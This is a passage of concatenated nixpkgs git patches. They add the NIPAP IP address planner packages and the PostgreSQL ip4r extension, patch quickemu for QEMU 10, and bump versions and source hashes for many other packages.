a/pkgs/top-level/python-packages.nix +++ b/pkgs/top-level/python-packages.nix @@ -5232,6 +5232,8 @@ self: super: with self; { flask-wtf = callPackage ../development/python-modules/flask-wtf { }; + flask-xml-rpc-re = callPackage ../development/python-modules/flask-xml-rpc-re { }; + flatbencode = callPackage ../development/python-modules/flatbencode { }; flatbuffers = callPackage ../development/python-modules/flatbuffers { inherit (pkgs) flatbuffers; }; From 39b9409d1a178a68fa844c6b80c48d8bf4c14354 Mon Sep 17 00:00:00 2001 From: Luke Granger-Brown Date: Sun, 15 Jun 2025 17:13:58 +0100 Subject: [PATCH 120/390] nipap: init at v0.32.7 This is both a Python module and an application, so it's inited as a Python module per the nixpkgs manual, and then translated into an application inside by-name. --- pkgs/by-name/ni/nipap/package.nix | 5 + .../python-modules/nipap/default.nix | 100 ++++++++++++++++++ pkgs/top-level/python-packages.nix | 2 + 3 files changed, 107 insertions(+) create mode 100644 pkgs/by-name/ni/nipap/package.nix create mode 100644 pkgs/development/python-modules/nipap/default.nix diff --git a/pkgs/by-name/ni/nipap/package.nix b/pkgs/by-name/ni/nipap/package.nix new file mode 100644 index 000000000000..ba60b802d831 --- /dev/null +++ b/pkgs/by-name/ni/nipap/package.nix @@ -0,0 +1,5 @@ +{ + python3Packages, +}: + +python3Packages.toPythonApplication python3Packages.nipap diff --git a/pkgs/development/python-modules/nipap/default.nix b/pkgs/development/python-modules/nipap/default.nix new file mode 100644 index 000000000000..d124306df59c --- /dev/null +++ b/pkgs/development/python-modules/nipap/default.nix @@ -0,0 +1,100 @@ +{ + lib, + buildPythonPackage, + fetchFromGitHub, + + # build deps + setuptools, + docutils, + + # dependencies + zipp, + importlib-metadata, + flask, + flask-compress, + flask-xml-rpc-re, + flask-restx, + requests, + ipy, + # indirect deps omitted: jinja2/markupsafe/werkzeug, + parsedatetime, + psutil, + psycopg2, + pyparsing, + python-dateutil, + pytz, + pyjwt, + tornado, + + # optional deps + ## ldap + python-ldap, +}: + +buildPythonPackage rec { + pname = "nipap"; + version = "0.32.7"; + pyproject = true; + + src = fetchFromGitHub { + owner = "SpriteLink"; + repo = "NIPAP"; + tag = "v${version}"; + hash = "sha256-FnCHW/yEhWtx+2fU+G6vxz50lWC7WL3cYKYOQzmH8zs="; + }; + + sourceRoot = "${src.name}/nipap"; + + pythonRelaxDeps = true; # deps are tightly specified by upstream + + postPatch = '' + substituteInPlace pyproject.toml \ + --replace-fail 'docutils==0.20.1' 'docutils' + ''; + + build-system = [ + setuptools + docutils + ]; + + dependencies = [ + zipp + importlib-metadata + flask + flask-compress + flask-xml-rpc-re + flask-restx + requests + ipy + # indirect deps omitted: jinja2/markupsafe/werkzeug + parsedatetime + psutil + psycopg2 + pyparsing + python-dateutil + pytz + pyjwt + tornado + ]; + + optional-dependencies = { + ldap = [ python-ldap ]; + }; + + doCheck = false; # tests require nose, /etc/nipap/nipap.conf and a running nipapd + + meta = { + description = "Neat IP Address Planner"; + longDescription = '' + NIPAP is the best open source IPAM in the known universe, + challenging classical IP address management (IPAM) systems in many areas. + ''; + homepage = "https://github.com/SpriteLink/NIPAP"; + changelog = "https://github.com/SpriteLink/NIPAP/releases/tag/v${version}"; + license = lib.licenses.mit; + maintainers = with lib.maintainers; [ + lukegb + ]; + platforms = lib.platforms.all; + }; +} diff --git a/pkgs/top-level/python-packages.nix b/pkgs/top-level/python-packages.nix index 55a1932550d1..ecf0477f3785 100644 --- a/pkgs/top-level/python-packages.nix +++ b/pkgs/top-level/python-packages.nix @@ -10204,6 +10204,8 @@ self: super: with self; { ninja = callPackage ../development/python-modules/ninja { inherit (pkgs) ninja; }; + nipap = callPackage ../development/python-modules/nipap { }; + nipreps-versions = callPackage ../development/python-modules/nipreps-versions { }; nipy = callPackage ../development/python-modules/nipy { }; From 8071d341875c47d1eeb5d8cd08600a2fdd98373a Mon Sep 17 00:00:00 2001 From: Luke Granger-Brown Date: Sun, 15 Jun 2025 17:39:08 +0100 Subject: [PATCH 121/390] pynipap: init at 0.32.7 --- .../python-modules/pynipap/default.nix | 38 +++++++++++++++++++ pkgs/top-level/python-packages.nix | 2 + 2 files changed, 40 insertions(+) create mode 100644 pkgs/development/python-modules/pynipap/default.nix diff --git a/pkgs/development/python-modules/pynipap/default.nix b/pkgs/development/python-modules/pynipap/default.nix new file mode 100644 index 000000000000..ee263f83210e --- /dev/null +++ b/pkgs/development/python-modules/pynipap/default.nix @@ -0,0 +1,38 @@ +{ + lib, + buildPythonPackage, + nipap, + + # build deps + setuptools, +}: + +buildPythonPackage rec { + pname = "pynipap"; + pyproject = true; + + inherit (nipap) version src; + + sourceRoot = "${src.name}/pynipap"; + + build-system = [ + setuptools + ]; + + doCheck = false; # tests require nose, /etc/nipap/nipap.conf and a running nipapd + + meta = { + description = "Python client library for Neat IP Address Planner"; + longDescription = '' + NIPAP is the best open source IPAM in the known universe, + challenging classical IP address management (IPAM) systems in many areas. + ''; + homepage = "https://github.com/SpriteLink/NIPAP"; + changelog = "https://github.com/SpriteLink/NIPAP/releases/tag/v${version}"; + license = lib.licenses.mit; + maintainers = with lib.maintainers; [ + lukegb + ]; + platforms = lib.platforms.all; + }; +} diff --git a/pkgs/top-level/python-packages.nix b/pkgs/top-level/python-packages.nix index ecf0477f3785..ccc4b1e63ea6 100644 --- a/pkgs/top-level/python-packages.nix +++ b/pkgs/top-level/python-packages.nix @@ -13141,6 +13141,8 @@ self: super: with self; { pynina = callPackage ../development/python-modules/pynina { }; + pynipap = callPackage ../development/python-modules/pynipap { }; + pynisher = callPackage ../development/python-modules/pynisher { }; pynitrokey = callPackage ../development/python-modules/pynitrokey { }; From 4abad970d7d207d04dddc8e648503e082ca22c6b Mon Sep 17 00:00:00 2001 From: Luke Granger-Brown Date: Sun, 15 Jun 2025 17:43:14 +0100 Subject: [PATCH 122/390] nipap-cli: init at 0.32.7 --- pkgs/by-name/ni/nipap-cli/package.nix | 53 +++++++++++++++++++++++++++ 1 file changed, 53 insertions(+) create mode 100644 pkgs/by-name/ni/nipap-cli/package.nix diff --git a/pkgs/by-name/ni/nipap-cli/package.nix b/pkgs/by-name/ni/nipap-cli/package.nix new file mode 100644 index 000000000000..4568bfe13755 --- /dev/null +++ b/pkgs/by-name/ni/nipap-cli/package.nix @@ -0,0 +1,53 @@ +{ + lib, + python312Packages, +}: + +let + python3Packages = python312Packages; +in +python3Packages.buildPythonApplication rec { + pname = "nipap-cli"; + inherit (python3Packages.nipap) version src; + pyproject = true; + + sourceRoot = "${src.name}/nipap-cli"; + + postPatch = '' + substituteInPlace pyproject.toml \ + --replace-fail 'docutils==0.20.1' 'docutils' + ''; + + build-system = with python3Packages; [ + setuptools + docutils + ]; + + dependencies = with python3Packages; [ + ipy + pynipap + ]; + + checkInputs = with python3Packages; [ + pythonImportsCheckHook + ]; + pythonImportsCheck = [ + "nipap_cli.nipap_cli" + ]; + + meta = { + description = "Neat IP Address Planner CLI"; + longDescription = '' + NIPAP is the best open source IPAM in the known universe, + challenging classical IP address management (IPAM) systems in many areas. + ''; + homepage = "https://github.com/SpriteLink/NIPAP"; + changelog = "https://github.com/SpriteLink/NIPAP/releases/tag/v${version}"; + license = lib.licenses.mit; + maintainers = with lib.maintainers; [ + lukegb + ]; + platforms = lib.platforms.all; + mainProgram = "nipap"; + }; +} From 9c9c3642f0c96aa81319e620b7233d84ba9da746 Mon Sep 17 00:00:00 2001 From: Luke Granger-Brown Date: Sun, 15 Jun 2025 17:51:25 +0100 Subject: [PATCH 123/390] nipap-www: init at 0.32.7 --- pkgs/by-name/ni/nipap-www/package.nix | 51 +++++++++++++++++++++++++++ 1 file changed, 51 insertions(+) create mode 100644 pkgs/by-name/ni/nipap-www/package.nix diff --git a/pkgs/by-name/ni/nipap-www/package.nix b/pkgs/by-name/ni/nipap-www/package.nix new file mode 100644 index 000000000000..33355ce94a28 --- /dev/null +++ b/pkgs/by-name/ni/nipap-www/package.nix @@ -0,0 +1,51 @@ +{ + lib, + python3Packages, +}: + +python3Packages.buildPythonApplication rec { + pname = "nipap-www"; + inherit (python3Packages.nipap) version src; + pyproject = true; + + sourceRoot = "${src.name}/nipap-www"; + + postPatch = '' + # Load Flask config additionally from FLASK_ environment variables. + # This makes providing secrets easier. + sed -i nipapwww/__init__.py \ + -e '/^\s*app =/a\ app.config.from_prefixed_env()' + ''; + + pythonRelaxDeps = true; # deps are tightly specified + + build-system = with python3Packages; [ + setuptools + ]; + + dependencies = with python3Packages; [ + flask + nipap + pynipap + ]; + + passthru = { + inherit (python3Packages) gunicorn python; + pythonPath = python3Packages.makePythonPath dependencies; + }; + + meta = { + description = "Neat IP Address Planner CLI, web UI"; + longDescription = '' + NIPAP is the best open source IPAM in the known universe, + challenging classical IP address management (IPAM) systems in many areas. + ''; + homepage = "https://github.com/SpriteLink/NIPAP"; + changelog = "https://github.com/SpriteLink/NIPAP/releases/tag/v${version}"; + license = lib.licenses.mit; + maintainers = with lib.maintainers; [ + lukegb + ]; + platforms = lib.platforms.all; + }; +} From 5a0374e20e3377e95725c15eb304fe073ba72349 Mon Sep 17 00:00:00 2001 From: Luke Granger-Brown Date: Sun, 15 Jun 2025 18:31:07 +0100 Subject: [PATCH 124/390] postgresqlPackages.ip4r: init at 2.4.2 --- pkgs/servers/sql/postgresql/ext/ip4r.nix | 35 ++++++++++++++++++++++++ 1 file changed, 35 insertions(+) create mode 100644 pkgs/servers/sql/postgresql/ext/ip4r.nix diff --git a/pkgs/servers/sql/postgresql/ext/ip4r.nix b/pkgs/servers/sql/postgresql/ext/ip4r.nix new file mode 100644 index 000000000000..277ec10618a6 --- /dev/null +++ b/pkgs/servers/sql/postgresql/ext/ip4r.nix @@ -0,0 +1,35 @@ +{ + fetchFromGitHub, + gitUpdater, + lib, + postgresql, + postgresqlBuildExtension, + postgresqlTestExtension, +}: + +postgresqlBuildExtension (finalAttrs: { + pname = "ip4r"; + version = "2.4.2"; + + src = fetchFromGitHub { + owner = "RhodiumToad"; + repo = "ip4r"; + tag = "${finalAttrs.version}"; + hash = "sha256-3chAD4f4A6VlXVSI0kfC/ANcnFy4vBp4FZpT6QRAueQ="; + }; + + passthru.tests = { + extension = postgresqlTestExtension { + inherit (finalAttrs) finalPackage; + sql = "CREATE EXTENSION ip4r;"; + }; + }; + + meta = { + description = "IPv4/v6 and IPv4/v6 range index type for PostgreSQL"; + homepage = "https://github.com/RhodiumToad/ip4r"; + license = lib.licenses.postgresql; + maintainers = with lib.maintainers; [ lukegb ]; + inherit (postgresql.meta) platforms; + }; +}) From 3dd6e7500a1127f0e09e05d39124a443d1db1993 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Robert=20Sch=C3=BCtz?= Date: Sun, 22 Jun 2025 16:38:25 -0700 Subject: [PATCH 125/390] quickemu: correctly handle version 10.0.0 of QEMU --- pkgs/by-name/qu/quickemu/package.nix | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/pkgs/by-name/qu/quickemu/package.nix b/pkgs/by-name/qu/quickemu/package.nix index fcbc23b9bdf1..5b0c4417bfe0 100644 --- a/pkgs/by-name/qu/quickemu/package.nix +++ b/pkgs/by-name/qu/quickemu/package.nix @@ -1,6 +1,7 @@ { lib, fetchFromGitHub, + fetchpatch, stdenv, makeWrapper, gitUpdater, @@ -67,6 +68,14 @@ stdenv.mkDerivation (finalAttrs: { hash = "sha256-sCoCcN6950pH33bRZsLoLc1oSs5Qfpj9Bbywn/uA6Bc="; }; + patches = [ + (fetchpatch { + name = "correctly-handle-version-10.0.0-of-qemu.patch"; + url = "https://github.com/quickemu-project/quickemu/commit/f25205f4513c4fa72be6940081c62e613d1fddc6.patch"; + hash = "sha256-OAXGyhMVDwbUypEPj/eRnH0wZYaL9WLGjbyoobe20UY="; + }) + ]; + postPatch = '' sed -i \ -e '/OVMF_CODE_4M.secboot.fd/s|ovmfs=(|ovmfs=("${OVMFFull.firmware}","${OVMFFull.variables}" |' \ From 514175771fadf9987c043121d59d9cd9101d5030 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Mon, 23 Jun 2025 00:29:20 +0000 Subject: [PATCH 126/390] zfind: 0.4.6 -> 0.4.7 --- pkgs/by-name/zf/zfind/package.nix | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pkgs/by-name/zf/zfind/package.nix b/pkgs/by-name/zf/zfind/package.nix index e14026cb1347..5b259a81e0d6 100644 --- a/pkgs/by-name/zf/zfind/package.nix +++ b/pkgs/by-name/zf/zfind/package.nix @@ -6,16 +6,16 @@ buildGoModule rec { pname = "zfind"; - version = "0.4.6"; + version = "0.4.7"; src = fetchFromGitHub { owner = "laktak"; repo = "zfind"; rev = "v${version}"; - hash = "sha256-bbeS2x9HzrsOE5h1y07LoEBm9dinMCHX9GJftj5Md9s="; + hash = "sha256-zp2YrrvghmXy0LPxCSkOxYwrmoGabTKCD5CiFl3XCOU="; }; - vendorHash = "sha256-blq0/pRppdf2jcuhIqYeNhcazFNZOGeEjPTSLgHqhrU="; + vendorHash = "sha256-kSqzjRXCr92c6CzQpRf3Ny+SEp3O15fKk0NgmTHtxSY="; ldflags = [ "-X" From 0138ea938e5652f0ecd09e2d3ce8c86c4e5eb5b6 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Mon, 23 Jun 2025 05:05:40 +0000 Subject: [PATCH 127/390] jwx: 3.0.6 -> 3.0.7 --- pkgs/by-name/jw/jwx/package.nix | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pkgs/by-name/jw/jwx/package.nix b/pkgs/by-name/jw/jwx/package.nix index cff078ff0d1f..27a2589eca68 100644 --- a/pkgs/by-name/jw/jwx/package.nix +++ b/pkgs/by-name/jw/jwx/package.nix @@ -6,16 +6,16 @@ buildGoModule (finalAttrs: { pname = "jwx"; - version = "3.0.6"; + version = "3.0.7"; src = fetchFromGitHub { owner = "lestrrat-go"; repo = "jwx"; tag = "v${finalAttrs.version}"; - hash = "sha256-D3HhkAEW1vxeq6bQhRLe9+i/0u6CUhR6azWwIpudhBI="; + hash = "sha256-vR7QsRAVdYmi7wYGsjuQiB1mABq5jx7mIRFiduJRReA="; }; - vendorHash = "sha256-FjNUcNI3A97ngPZBWW+6qL0eCTd10KUGl/AzByXSZt8="; + vendorHash = "sha256-fpjkaGkJUi4jrdFvrClx42FF9HwzNW5js3I5HNZChOU="; sourceRoot = "${finalAttrs.src.name}/cmd/jwx"; From 650d9f6c249947a6c68cf445cb482a6418f886a4 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Mon, 23 Jun 2025 06:16:06 +0000 Subject: [PATCH 128/390] makejinja: 2.7.2 -> 2.8.0 --- pkgs/by-name/ma/makejinja/package.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/by-name/ma/makejinja/package.nix b/pkgs/by-name/ma/makejinja/package.nix index cd46437806c7..3f4dab4e7dcb 100644 --- a/pkgs/by-name/ma/makejinja/package.nix +++ b/pkgs/by-name/ma/makejinja/package.nix @@ -6,14 +6,14 @@ python3Packages.buildPythonApplication rec { pname = "makejinja"; - version = "2.7.2"; + version = "2.8.0"; pyproject = true; src = fetchFromGitHub { owner = "mirkolenz"; repo = "makejinja"; tag = "v${version}"; - hash = "sha256-WyTv4eTsEPn3pCCXUB0YUfv9SyR/6Ml4UU4zt1k5z2c="; + hash = "sha256-Y6R+nVwIuviYhvLp5Aqb+BUCaAD6fF+GH8zmJrWNxFc="; }; build-system = with python3Packages; [ setuptools ]; From d03a743687211fe4a05666adf5f652df73933bd2 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Mon, 23 Jun 2025 06:43:36 +0000 Subject: [PATCH 129/390] cargo-tarpaulin: 0.32.7 -> 0.32.8 --- pkgs/by-name/ca/cargo-tarpaulin/package.nix | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pkgs/by-name/ca/cargo-tarpaulin/package.nix b/pkgs/by-name/ca/cargo-tarpaulin/package.nix index 1c0898da2eed..ac4d34075b86 100644 --- a/pkgs/by-name/ca/cargo-tarpaulin/package.nix +++ b/pkgs/by-name/ca/cargo-tarpaulin/package.nix @@ -10,17 +10,17 @@ rustPlatform.buildRustPackage rec { pname = "cargo-tarpaulin"; - version = "0.32.7"; + version = "0.32.8"; src = fetchFromGitHub { owner = "xd009642"; repo = "tarpaulin"; rev = version; - hash = "sha256-e7U9xhS703Ww9m0Ky1QRKgSmO0M15UR4if/ZdbLSiTs="; + hash = "sha256-DdDYTMtiHFrTnUihhZlHB9ZuuyXwGL8eQ4mqgsgPnsQ="; }; useFetchCargoVendor = true; - cargoHash = "sha256-neG0W3AxgQ2/F9y1e176DHsS247Fx4WcHykc6GdPZvc="; + cargoHash = "sha256-2VnQo+WSc/bMMnGXY+kyLh5P2a39S8KDirfqbLJRSu0="; nativeBuildInputs = [ pkg-config From 1a8b45f83fb8e679033e101fd48a5ee1f4e7b0ae Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Mon, 23 Jun 2025 07:09:56 +0000 Subject: [PATCH 130/390] gitlab-ci-ls: 1.1.0 -> 1.1.1 --- pkgs/by-name/gi/gitlab-ci-ls/package.nix | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pkgs/by-name/gi/gitlab-ci-ls/package.nix b/pkgs/by-name/gi/gitlab-ci-ls/package.nix index 9e4363e4bc51..68edcafa19c7 100644 --- a/pkgs/by-name/gi/gitlab-ci-ls/package.nix +++ b/pkgs/by-name/gi/gitlab-ci-ls/package.nix @@ -8,16 +8,16 @@ rustPlatform.buildRustPackage rec { pname = "gitlab-ci-ls"; - version = "1.1.0"; + version = "1.1.1"; src = fetchFromGitHub { owner = "alesbrelih"; repo = "gitlab-ci-ls"; rev = "${version}"; - hash = "sha256-ULkRF/NtlETStG/Qy0Y7qUAzMvOlOvxErKJ79atgCaw="; + hash = "sha256-3DR1MV9YSugWFodLh4wBa6oT8yGEkir0rVm0mcHXpxU="; }; useFetchCargoVendor = true; - cargoHash = "sha256-1HHwAGN193cNoOktVkrwgS37FJEK++tGMD//RnIALQA="; + cargoHash = "sha256-V2ZQLHLIaYJpNeQIZyRq2G5u6/cTJvMXV2301VG21xQ="; nativeBuildInputs = [ pkg-config ]; buildInputs = [ openssl ]; From 2bce33eb8e2d61f821a3be63684aac96d5a24fc0 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Mon, 23 Jun 2025 08:12:25 +0000 Subject: [PATCH 131/390] python3Packages.asf-search: 9.0.1 -> 9.0.2 --- pkgs/development/python-modules/asf-search/default.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/development/python-modules/asf-search/default.nix b/pkgs/development/python-modules/asf-search/default.nix index 3c1d9d675be6..adb8df80855b 100644 --- a/pkgs/development/python-modules/asf-search/default.nix +++ b/pkgs/development/python-modules/asf-search/default.nix @@ -20,7 +20,7 @@ buildPythonPackage rec { pname = "asf-search"; - version = "9.0.1"; + version = "9.0.2"; pyproject = true; disabled = pythonOlder "3.9"; @@ -29,7 +29,7 @@ buildPythonPackage rec { owner = "asfadmin"; repo = "Discovery-asf_search"; tag = "v${version}"; - hash = "sha256-nh2r4XiJ+cxPpQ5IBT2PMKpZPwYbhl67B7wwYFRJ6eY="; + hash = "sha256-RJeo5dMq2HoOmHN+PN0NzgWJKMApcGvMr/OxOjZYOS4="; }; pythonRelaxDeps = [ "tenacity" ]; From f368867616ca2ee18bc43d4ace1316d65ad79daa Mon Sep 17 00:00:00 2001 From: kilianar Date: Mon, 23 Jun 2025 10:19:06 +0200 Subject: [PATCH 132/390] stellarium: 25.1 -> 25.2 https://github.com/Stellarium/stellarium/releases/tag/v25.2 --- .../science/astronomy/stellarium/default.nix | 19 ++----------------- 1 file changed, 2 insertions(+), 17 deletions(-) diff --git a/pkgs/applications/science/astronomy/stellarium/default.nix b/pkgs/applications/science/astronomy/stellarium/default.nix index 1933c831b660..30c772a5e992 100644 --- a/pkgs/applications/science/astronomy/stellarium/default.nix +++ b/pkgs/applications/science/astronomy/stellarium/default.nix @@ -24,34 +24,19 @@ xvfb-run, gitUpdater, md4c, - fetchpatch, }: stdenv.mkDerivation (finalAttrs: { pname = "stellarium"; - version = "25.1"; + version = "25.2"; src = fetchFromGitHub { owner = "Stellarium"; repo = "stellarium"; rev = "v${finalAttrs.version}"; - hash = "sha256-rbnGSdzPuFdSqWPaKtF3n4oLZ9l+4jX7KtnmcrTvwbs="; + hash = "sha256-2QK9dHflCdmDrRXEHCBpuJR73jsMz9D9lJNa1pbfrTs="; }; - patches = [ - # Patch from upstream to fix compilation with Qt 6.9 - (fetchpatch { - url = "https://github.com/Stellarium/stellarium/commit/bbcd60ae52b6f1395ef2390a2d2ba9d0f98db548.patch"; - hash = "sha256-9VaqLASxn1udUApDZRI5SCqCXNGOHUcdbM+pKhW8ZAg="; - }) - - # Upstream patch to support building with a locally provided md4c package - (fetchpatch { - url = "https://github.com/Stellarium/stellarium/commit/972c6ba72f575964fbf2049a22d51b4d1fd3983c.patch"; - hash = "sha256-ef1Jw5NeT0KLVKQt7VcvQh83n2ujMFK+Nv0165ZQ2r8="; - }) - ]; - postPatch = lib.optionalString stdenv.hostPlatform.isDarwin '' substituteInPlace CMakeLists.txt \ --replace-fail 'SET(CMAKE_INSTALL_PREFIX "''${PROJECT_BINARY_DIR}/Stellarium.app/Contents")' \ From 238a2c1fbfe6e3d4a11c7400c0956df63b632bb1 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Mon, 23 Jun 2025 08:28:43 +0000 Subject: [PATCH 133/390] vault-unseal: 0.7.0 -> 0.7.1 --- pkgs/by-name/va/vault-unseal/package.nix | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pkgs/by-name/va/vault-unseal/package.nix b/pkgs/by-name/va/vault-unseal/package.nix index 0e0d940267db..7ac77f289b32 100644 --- a/pkgs/by-name/va/vault-unseal/package.nix +++ b/pkgs/by-name/va/vault-unseal/package.nix @@ -5,7 +5,7 @@ }: let - version = "0.7.0"; + version = "0.7.1"; in buildGoModule { pname = "vault-unseal"; @@ -15,10 +15,10 @@ buildGoModule { owner = "lrstanley"; repo = "vault-unseal"; rev = "v${version}"; - hash = "sha256-+9o2+6PwRZjCaJnr2sriTk74cWZXURMndusakd4Vd8g="; + hash = "sha256-6beLN+Qw1rXGTEAjUco7xkMzQTFUniJ6pwucDTLKei8="; }; - vendorHash = "sha256-UDYybx9oA9iKkfs6ELDEFhMq3WBrwWXbxSHQyS7E3Cs="; + vendorHash = "sha256-hhTJB1g35vB5dLOEY7V7V5ma7Zzyq2bo9kk3gpEcEsY="; meta = { changelog = "https://github.com/lrstanley/vault-unseal/releases/tag/v${version}"; From ec62caa352cff6fcdd84a74d35259c8c41ef0dc7 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Mon, 23 Jun 2025 08:33:13 +0000 Subject: [PATCH 134/390] talosctl: 1.10.3 -> 1.10.4 --- pkgs/by-name/ta/talosctl/package.nix | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pkgs/by-name/ta/talosctl/package.nix b/pkgs/by-name/ta/talosctl/package.nix index 213c188b8e2d..2cc33f92c4a9 100644 --- a/pkgs/by-name/ta/talosctl/package.nix +++ b/pkgs/by-name/ta/talosctl/package.nix @@ -8,16 +8,16 @@ buildGoModule rec { pname = "talosctl"; - version = "1.10.3"; + version = "1.10.4"; src = fetchFromGitHub { owner = "siderolabs"; repo = "talos"; tag = "v${version}"; - hash = "sha256-smqQBFm33uTgK4RGtiu9wlgbHkt8jw7zeiVGWsHG/8s="; + hash = "sha256-TWaORaR+3PTc+KqWuZiR5HpsuY7ox5BjQ72F8uYRzWQ="; }; - vendorHash = "sha256-fDKCozvQ1dPM0DFS7DysZ1DHryj3se1bmaLb+3B0kxo="; + vendorHash = "sha256-SDSWWhj3MTuNASZOujKz2M3glO1dhg0cS2pdfeZXyPk="; ldflags = [ "-s" From 08d9b291c9290742c91c16494297624bf6587724 Mon Sep 17 00:00:00 2001 From: kilianar Date: Mon, 23 Jun 2025 10:50:31 +0200 Subject: [PATCH 135/390] portfolio: 0.77.1 -> 0.77.2 https://github.com/portfolio-performance/portfolio/releases/tag/0.77.2 --- pkgs/by-name/po/portfolio/package.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/by-name/po/portfolio/package.nix b/pkgs/by-name/po/portfolio/package.nix index e157df390890..c0e75e8c047b 100644 --- a/pkgs/by-name/po/portfolio/package.nix +++ b/pkgs/by-name/po/portfolio/package.nix @@ -34,11 +34,11 @@ let in stdenvNoCC.mkDerivation (finalAttrs: { pname = "PortfolioPerformance"; - version = "0.77.1"; + version = "0.77.2"; src = fetchurl { url = "https://github.com/buchen/portfolio/releases/download/${finalAttrs.version}/PortfolioPerformance-${finalAttrs.version}-linux.gtk.x86_64.tar.gz"; - hash = "sha256-gD8tUOsuce0qxBDByOddoPqCqUkPfgGbbnAa+SLJnVU="; + hash = "sha256-3BnCD92gdTgnxCI1haqw4wmFjmtraagSWz/SOzSTlbA="; }; nativeBuildInputs = [ From e5a4517c5b344139fde9c8d0cc83fbb019919de6 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Mon, 23 Jun 2025 09:02:25 +0000 Subject: [PATCH 136/390] libretro.gambatte: 0-unstable-2025-06-13 -> 0-unstable-2025-06-20 --- pkgs/applications/emulators/libretro/cores/gambatte.nix | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pkgs/applications/emulators/libretro/cores/gambatte.nix b/pkgs/applications/emulators/libretro/cores/gambatte.nix index f4932af2b942..584f000788f8 100644 --- a/pkgs/applications/emulators/libretro/cores/gambatte.nix +++ b/pkgs/applications/emulators/libretro/cores/gambatte.nix @@ -5,13 +5,13 @@ }: mkLibretroCore { core = "gambatte"; - version = "0-unstable-2025-06-13"; + version = "0-unstable-2025-06-20"; src = fetchFromGitHub { owner = "libretro"; repo = "gambatte-libretro"; - rev = "811b1f7a56c16f8588caada36d7a3f9a56cb16d4"; - hash = "sha256-pPLUvlwRoVMRcCGyxqot2QAanKmQWknk5uF4rRZ41zY="; + rev = "a693367ab1aea60266c7fa7c666b0779035d4745"; + hash = "sha256-nQ/hh9EkcftcdV0MvPl3kRUGBxukOxbgLCM9786rtd4="; }; meta = { From 246a42e2af7165a6c5f00f1cced8b017a202566c Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Mon, 23 Jun 2025 09:27:40 +0000 Subject: [PATCH 137/390] is-fast: 0.16.2 -> 0.17.0 --- pkgs/by-name/is/is-fast/package.nix | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pkgs/by-name/is/is-fast/package.nix b/pkgs/by-name/is/is-fast/package.nix index c1cad113e46c..10383269c7ac 100644 --- a/pkgs/by-name/is/is-fast/package.nix +++ b/pkgs/by-name/is/is-fast/package.nix @@ -11,17 +11,17 @@ rustPlatform.buildRustPackage (finalAttrs: { pname = "is-fast"; - version = "0.16.2"; + version = "0.17.0"; src = fetchFromGitHub { owner = "Magic-JD"; repo = "is-fast"; tag = "v${finalAttrs.version}"; - hash = "sha256-Wzpd8yA3IpCN3sye1Fk3CUkCihEP6trqPI+oskULS7c="; + hash = "sha256-jMRoGGvyKgtu4j9alF9aXfNA/1WOa24CTI0bWZo44Ag="; }; useFetchCargoVendor = true; - cargoHash = "sha256-+v1cxH1NKF1tjyc7Bqpd77q6Le8CqvtQ5p0H2ICqc1I="; + cargoHash = "sha256-UzB6lKXPbN/iUZ2e/ApxTdnu7/nYhvvSIUwGxSopNZ4="; nativeBuildInputs = [ pkg-config ]; From 3762f3eeee581f08a556abcc7bb37cba66a69e70 Mon Sep 17 00:00:00 2001 From: Fabian Affolter Date: Mon, 23 Jun 2025 11:29:37 +0200 Subject: [PATCH 138/390] python313Packages.tencentcloud-sdk-python: 3.0.1405 -> 3.0.1406 Diff: https://github.com/TencentCloud/tencentcloud-sdk-python/compare/refs/tags/3.0.1405...refs/tags/3.0.1406 Changelog: https://github.com/TencentCloud/tencentcloud-sdk-python/blob/3.0.1406/CHANGELOG.md --- .../python-modules/tencentcloud-sdk-python/default.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/development/python-modules/tencentcloud-sdk-python/default.nix b/pkgs/development/python-modules/tencentcloud-sdk-python/default.nix index 862bdc8b01e8..b5a3b82611f1 100644 --- a/pkgs/development/python-modules/tencentcloud-sdk-python/default.nix +++ b/pkgs/development/python-modules/tencentcloud-sdk-python/default.nix @@ -10,7 +10,7 @@ buildPythonPackage rec { pname = "tencentcloud-sdk-python"; - version = "3.0.1405"; + version = "3.0.1406"; pyproject = true; disabled = pythonOlder "3.9"; @@ -19,7 +19,7 @@ buildPythonPackage rec { owner = "TencentCloud"; repo = "tencentcloud-sdk-python"; tag = version; - hash = "sha256-cFEuSlOZMUBgUT7KeWBODtCnT+Pog75hkyavwvqzVEU="; + hash = "sha256-trRgXXaXeGUcFA/ZRuMz9+EnTx/JUSa5+e5YX2yn8xY="; }; build-system = [ setuptools ]; From 89a43bad9f217cf559bc04b0e063a7d8d2f8c7c9 Mon Sep 17 00:00:00 2001 From: Fabian Affolter Date: Mon, 23 Jun 2025 11:31:11 +0200 Subject: [PATCH 139/390] python313Packages.adafruit-platformdetect: refactor --- .../python-modules/adafruit-platformdetect/default.nix | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) diff --git a/pkgs/development/python-modules/adafruit-platformdetect/default.nix b/pkgs/development/python-modules/adafruit-platformdetect/default.nix index fa4010950cec..52122e3bb470 100644 --- 